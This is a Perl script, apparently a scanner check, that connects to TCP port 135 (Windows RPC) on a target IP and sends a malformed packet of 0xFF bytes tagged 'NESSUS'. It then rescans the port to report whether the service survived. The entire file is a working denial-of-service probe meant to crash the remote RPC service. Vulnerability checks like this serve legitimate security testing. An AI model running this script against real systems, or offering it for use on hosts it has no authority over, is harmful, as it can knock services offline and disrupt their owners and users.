#!/usr/bin/perl5.8.4
require 'config/paths.pl';
my $request = "\xFF\xFF\xFF\xFFNESSUSxFF\x37\x57\x73\x35\x33\xE6\x80\x33\x42";
$request   .= "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF";
$request   .= "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF";
$request   .= "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF";
$request   .= "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF";
$request   .= "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF";
$request   .= "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF";
$request   .= "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF";

use Socket;
$proto = getprotobyname('tcp');
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n");

$IP = $ARGV[0];
$target = inet_aton($IP);
$paddr = sockaddr_in(135, $target);

connect(S, $paddr) || die "connect: $!";

select(S); $|=1;
print $request;
sleep(2);
close(S);
select(STDOUT);
$command = "$TCP_SCAN -f 5 $IP 135";
open (TCPTEST, "$command|");
while (<TCPTEST>) {
  $test_results = "Server not crashed\n" if /[0-9A-Z]+/;
}
close(TCPTEST);
print "$test_results\n";
